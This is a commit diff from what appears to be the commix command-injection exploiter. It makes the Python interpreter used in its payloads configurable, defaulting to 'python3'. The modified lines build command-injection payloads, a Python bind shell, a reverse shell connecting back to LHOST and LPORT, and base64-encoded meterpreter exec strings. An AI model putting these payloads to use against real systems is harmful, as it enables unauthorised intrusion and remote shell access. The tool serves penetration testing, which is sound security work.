Minor update regarding setting "python3" as default target's python interpreter

Author: stasinopoulos

src/core/injections/results_based/techniques/classic/cb_payloads.py

@@ -91,13 +91,13 @@ def decision_alter_shell(separator, TAG, randv1, randv2):
   else:
     if settings.SKIP_CALC:
       payload = (separator +
-                "python -c \"print'" + TAG +
+                settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG +
                 TAG + 
                 TAG + "'\""
                 )
     else:
       payload = (separator +
-                "python -c \"print'" + TAG +
+                settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG +
                 "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + 
                 TAG + "'%2B'" + 
                 TAG + "'\""
@@ -161,11 +161,11 @@ def cmd_execution_alter_shell(separator, TAG, cmd):
 
     if settings.USE_BACKTICKS:
       payload = (separator +
-                "python -c \"print'" + TAG + "'%2B'" + TAG + "'%2B'`" + cmd + "`" + TAG + "'%2B'" + TAG + "'\""
+                settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG + "'%2B'" + TAG + "'%2B'`" + cmd + "`" + TAG + "'%2B'" + TAG + "'\""
                 )
     else:              
       payload = (separator +
-                "python -c \"print'" + TAG + "'%2B'" + TAG + "'%2B'$(" + cmd + ")'%2B'" + TAG + "'%2B'" + TAG + "'\""
+                settings.LINUX_PYTHON_INTERPRETER + " -c \"print'" + TAG + "'%2B'" + TAG + "'%2B'$(" + cmd + ")'%2B'" + TAG + "'%2B'" + TAG + "'\""
                 )
   return payload
 

src/core/injections/results_based/techniques/eval_based/eb_payloads.py

@@ -120,7 +120,7 @@ def decision_alter_shell(separator, TAG, randv1, randv2):
                   )
 
   else:
-    python_payload = "python -c \"print str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))\""
+    python_payload = settings.LINUX_PYTHON_INTERPRETER + " -c \"print str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))\""
     if settings.SKIP_CALC: 
       if separator == "":
         payload = ("print(`echo " + TAG + "`." +

src/core/shells/bind_tcp.py

@@ -318,7 +318,7 @@ def other_bind_shells(separator):
 
     # Python-bind-shell
     elif other_shell == '4':
-      other_shell = "python -c 'import pty,os,socket%0d" \
+      other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c 'import pty,os,socket%0d" \
                     "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \
                     "s.bind((\"\"," + settings.LPORT + "))%0d" \
                     "s.listen(1)%0d" \
@@ -424,7 +424,7 @@ def other_bind_shells(separator):
           set_python_working_dir()
           other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))"
         else:
-          other_shell = "python -c \"exec('" + data + "'.decode('base64'))\""
+          other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c \"exec('" + data + "'.decode('base64'))\""
         msf_launch_msg(output)
       except:
         print(settings.SINGLE_WHITESPACE)

src/core/shells/reverse_tcp.py

@@ -323,7 +323,7 @@ def other_reverse_shells(separator):
 
     # Python-reverse-shell 
     elif other_shell == '4':
-      other_shell = "python -c 'import socket,subprocess,os%0d" \
+      other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c 'import socket,subprocess,os%0d" \
                     "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \
                     "s.connect((\"" + settings.LHOST  + "\"," + settings.LPORT + "))%0d" \
                     "os.dup2(s.fileno(),0)%0d" \
@@ -421,7 +421,7 @@ def other_reverse_shells(separator):
         set_python_working_dir()
         other_shell = settings.WIN_PYTHON_DIR + data
       else:
-        other_shell = "python" + data
+        other_shell = settings.LINUX_PYTHON_INTERPRETER + data
       break
 
     # Python-reverse-shell (meterpreter)
@@ -462,7 +462,7 @@ def other_reverse_shells(separator):
           set_python_working_dir()
           other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))"
         else:
-          other_shell = "python -c \"exec('" + data + "'.decode('base64'))\""
+          other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c \"exec('" + data + "'.decode('base64'))\""
         msf_launch_msg(output)
       except:
         print(settings.SINGLE_WHITESPACE)
@@ -638,7 +638,7 @@ def other_reverse_shells(separator):
               set_python_working_dir()
               other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))"
             else:
-              other_shell = "python -c \"exec('" + data + "'.decode('base64'))\""
+              other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c \"exec('" + data + "'.decode('base64'))\""
             msf_launch_msg(output)
             break
           elif web_delivery == '2':

src/utils/settings.py

@@ -216,7 +216,7 @@ def sys_argv_errors():
 DESCRIPTION = "The command injection exploiter"
 AUTHOR  = "Anastasios Stasinopoulos"
 VERSION_NUM = "3.3"
-REVISION = "43"
+REVISION = "44"
 STABLE_RELEASE = False
 if STABLE_RELEASE:
   VERSION = "v" + VERSION_NUM + "-stable"
@@ -808,6 +808,9 @@ def sys_argv_errors():
 WIN_PYTHON_DIR = "C:\\Python27\\python.exe"
 USER_DEFINED_PYTHON_DIR = False
 
+# Default target host's python interpreter
+LINUX_PYTHON_INTERPRETER = "python3"
+
 # Windows PHP installed directory.
 WIN_PHP_DIR = "C:\\xampp\\php\\php.exe"
 USER_DEFINED_PHP_DIR = False